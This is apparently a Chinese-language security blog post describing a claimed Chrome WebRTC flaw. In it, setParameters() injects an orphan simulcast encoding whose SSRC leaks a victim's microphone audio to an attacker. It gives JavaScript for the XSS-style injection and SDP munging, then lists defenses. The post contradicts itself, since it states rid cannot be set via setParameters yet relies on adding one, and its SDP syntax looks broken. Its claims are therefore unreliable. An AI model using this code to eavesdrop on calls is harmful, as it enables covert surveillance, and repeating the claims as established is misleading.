Aug 18 2026 Off 摘要 WebRTC 通过 RTCRtpSender.setParameters() 允许动态调整编码参数,其 encodings 数组用于描述 simulcast 各层的 rid 和 active 状态。然而,Chromium 实现中,对该数组与底层 RTP 流同步源的映射更新并非原子操作——攻击者可在重协商信令阶段插入一个携带伪造 rid 的高优先级编码条目,调用 setParameters() 后,内部编码器可能为这个新条目分配独立的 SSRC,而该 SSRC 并未出现在远端 SDP 中。此时音频数据会被同时发送到合法接收者和攻击者控制的 SSRC,形成无声监听。更隐蔽的是,利用 RTCRtpContributingSource 统计信息无法及时反映这一变化,使得劫持长期隐匿。 Simulcast与RTCRtpEncodingParameters的映射关系 Simulcast 的 RID 与 SSRCWebRTC 的 Simulcast 允许一个发送器(RTCRtpSender)同时生成多个不同码率或分辨率的视频/音频流,每个流由一个独立的 SSRC 标识。 在 SDP 协商中,a=simulcast:send 属性声明了这些流的 rid(Restriction Identifier),接收方根据 rid 识别流。例如: a=simulcast:send low;medium;high a=rid:low send pt=96;max-br=100000 a=rid:medium send pt=96;max-br=500000 a=rid:high send pt=96;max-br=1000000 在发送方,RTCRtpSender.getParameters().encodings 返回一个数组,每个元素对应一个 simulcast 层,包含 rid、active、maxBitrate 等属性。底层媒体引擎根据这些参数创建独立的 RTP 编码流,每个流对应唯一的 SSRC,并且该 SSRC 会通过 a=ssrc: 属性在 SDP 中声明。正常情况下,rid 与 SSRC 的映射在 setParameters() 调用后保持不变,除非明确移除或禁用某层。setParameters的非原子性setParameters() 允许修改 encodings 数组的某些字段(在 Chrome 中,active、maxBitrate、maxFramerate 等可修改,rid 仅能在初始设置时指定,不能通过 setParameters 改变)。然而,当传入一个与原数组长度不同的 encodings 列表(例如增加一个元素)时,内部媒体引擎需要分配新的 SSRC 并更新 RTP 发送器映射。这个过程涉及多个线程和异步信号:参数校验、编码器重启、SSRC 分配、SDP 更新通知等。在这些步骤之间存在窗口,其中编码层已经创建了新 SSRC,但信令层尚未通知远端,导致该 SSRC 成为“孤立”的——它活跃地发送数据,但远端无法通过 SDP 知晓其存在,也无法将其与任何 rid 关联。更严重的是,如果这个新条目被标记为 active: true 且优先级最高,则原有的音频或视频数据可能被复制或重定向到这个孤立 SSRC,从而向网络发送一份额外的媒体流。任何能够捕获该 SSRC 的监听者(例如同一局域网内的被动嗅探器或已经加入同一 SFU 的其他客户端)都可以接收并解码这个流,实现无声监听。 孤立编码参数攻击原理 攻击者模型 假设一个多方视频会议中,攻击者已作为合法参与者加入。攻击者控制自己的浏览器或 Node.js WebRTC 客户端。在会话重协商阶段,攻击者通过信令服务器向目标受害者发送一个重新邀请(re-invite),其中包含经篡改的 SDP——在受害者的 send 方向插入一个额外的 rid 描述,但声明为“不活跃”。受害者浏览器在处理远程 SDP 时,如果不严格校验 rid 数量与本地编码器数量的一致性,可能会在本地编码数组末尾添加一个空条目,或在下一次 setParameters 时意外创建一个孤立 SSRC。更直接的攻击:攻击者利用受害页面的 XSS 或浏览器扩展,直接调用受害者 RTCRtpSender 的 setParameters(),向其 encodings 中注入一个新的 { rid: "leak", active: true }。Chrome 可能不会立即拒绝,而是分配一个新的 SSRC 并开始发送编码数据到该 SSRC,即使远端 SDP 中从未声明该 rid。攻击者随后在自己的客户端创建一个新的接收 RTCRtpTransceiver,并监听该 SSRC 的 RTP 包(例如通过 a=ssrc-group:FID 或手动指定 a=ssrc 强制匹配),即可接收到泄露的音频流。音频劫持的触发流程受害者页面的 RTCRtpSender 原本发送音频到合法的 SSRC_A。攻击者注入孤立的编码参数 { rid: "z", active: true, maxBitrate: 128000 }。媒体引擎为此分配新的 SSRC_Z,并开始将音频数据同时编码发送到 SSRC_A 和 SSRC_Z(取决于编码器实现,可能是复制或独立编码)。攻击者在自己的客户端创建一个 RTCPeerConnection,在远端 SDP 中手工添加 a=ssrc:SSRC_Z recv,并通过信令发送给攻击者控制的另一端,或将流量导向攻击者的接收器。攻击者成功接收到受害者的音频流,而受害者毫不知情。这种攻击的隐蔽性在于,攻击者无需解密或注入网络层,完全在 JavaScript API 层面操作,且现有的 getStats() 统计不会立即反映孤立的 SSRC(因为其未绑定到任何 rid 的统计对象)。 注入孤立编码参数实现音频窃听 以下 JavaScript 代码演示如何在 Chrome 浏览器中,通过 setParameters 向一个正在工作的音频发送器注入孤立 SSRC,并在攻击者接收端监听该 SSRC。测试环境:两个标签页或两个浏览器实例,分别作为受害者和攻击者,通过信令建立初始连接。受害者端:音频发送器 // victim.js const pc = new RTCPeerConnection(); const stream = await navigator.mediaDevices.getUserMedia({ audio: true }); pc.addTrack(stream.getAudioTracks()[0], stream); // 初始 SDP 协商 const offer = await pc.createOffer(); await pc.setLocalDescription(offer); // ... 发送 offer 给攻击者,接收 answer ... 攻击者端:接收正常音频 // attacker.js const pc = new RTCPeerConnection(); pc.ontrack = (event) => { const audio = document.createElement('audio'); audio.srcObject = event.streams[0]; audio.play(); console.log('正常音频轨道:', event.track); }; // ... 信令交换,接收 answer,与受害者建立连接 ... 注入孤立编码参数在受害者端运行以下代码(模拟 XSS 或扩展注入): // 获取音频发送器 const sender = pc.getSenders().find(s => s.track.kind === 'audio'); const params = sender.getParameters(); // 添加一个孤立的编码层 params.encodings.push({ rid: "leak", active: true, maxBitrate: 128000, priority: "high" }); // 应用修改 sender.setParameters(params).then(() => { console.log('孤立的编码参数已注入'); }).catch(e => { console.error('注入失败:', e); }); 如果浏览器放行,编码器将分配一个新的 SSRC,并通过相同的 RTP 会话发送音频。使用 chrome://webrtc-internals/ 可以观察到新增的 SSRC 和发送统计。 攻击者接收孤立 SSRC攻击者需要知道新分配的 SSRC。可以通过以下方式获取:在信令中加入自定义字段传递 SSRC 信息。利用 RTCPeerConnection.getStats() 定期查询受害者发送器的统计(需有同源访问)。一旦获取 SSRC_Z,攻击者新建一个 RTCPeerConnection,在本地创建 offer 时在 SDP 中插入 a=ssrc:SSRC_Z recv,然后与自己的媒体服务器建立连接,即可解码音频。 // 攻击者构造接收 SSRC_Z 的 SDP const offer = await pc.createOffer(); let sdp = offer.sdp; sdp += `\r\na=ssrc:${SSRC_Z} recv\r\n`; offer.sdp = sdp; await pc.setLocalDescription(offer); // 通过信令发送给攻击者的接收端 检测与防御 浏览器侧加固严格限制 encodings 数组长度变更:一旦 SDP 协商完成,应禁止通过 setParameters 增加或删除编码条目,仅允许修改现有条目的参数。SSRC 与 rid 的强绑定:媒体引擎必须在分配新 SSRC 后立即触发 SDP 更新,确保远端始终知晓活跃的 SSRC 集合。统计信息透明:getStats() 应报告所有正在发送的 SSRC,包括由于异常 setParameters 产生的孤立流。服务端检测SFU 监控:在视频会议服务器(如 Mediasoup、Janus)中,监控每个参与者实际发送的 SSRC 与其 SDP 声明的 SSRC 集合是否一致。若出现未声明的 SSRC 发送数据,立即告警并断开连接。SDP 指纹比对:在每次重协商时,检查 rid 数量与 a=ssrc 条目数量的对应关系,防止注入未协商的 rid。应用程序防护避免使用 setParameters 进行非标准修改,尤其是传入不受信任的 encodings 数组。对 getParameters().encodings 的任何修改进行输入验证,拒绝添加新条目的操作。 结语 WebRTC 的 setParameters 为实时通信提供了无与伦比的灵活性,但这种灵活性建立在内部状态机的高度一致性之上。当孤立编码参数被悄然注入,音频流便如幽灵般复制出一份额外的 SSRC,飘向攻击者的接收器。这是浏览器 API 层面的逻辑漏洞,而非网络协议缺陷,传统的防火墙和加密无法察觉。防御的关键在于,媒体引擎必须严守“协商即契约”的原则,绝不允许未声明的 SSRC 发送哪怕一个比特。随着 WebRTC 在云会议和物联网中的深入应用,这种 API 滥用将成为音频安全的新战场。 Post navigation Previous PostPrevious XFRM隐藏隧道Next PostNext iOS 的 FUSE 盲区